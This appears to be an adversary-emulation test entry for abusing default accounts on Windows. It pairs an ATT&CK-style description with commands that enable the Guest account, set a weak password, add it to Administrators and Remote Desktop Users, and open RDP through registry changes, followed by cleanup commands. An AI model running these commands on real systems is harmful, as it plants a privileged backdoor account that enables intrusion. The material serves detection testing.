Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices.(Citation: Microsoft Local Accounts Feb 2019)Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.(Citation: Metasploit SSH Module)
After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group, and desktop will allow multiple RDP connections
Supported Platforms: Windows
net user guest /active:yes
net user guest Password123!
net localgroup administrators guest /add
net localgroup "Remote Desktop Users" guest /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /fnet user guest /active:no
net localgroup administrators guest /delete
net localgroup "Remote Desktop Users" guest /delete
reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f
reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f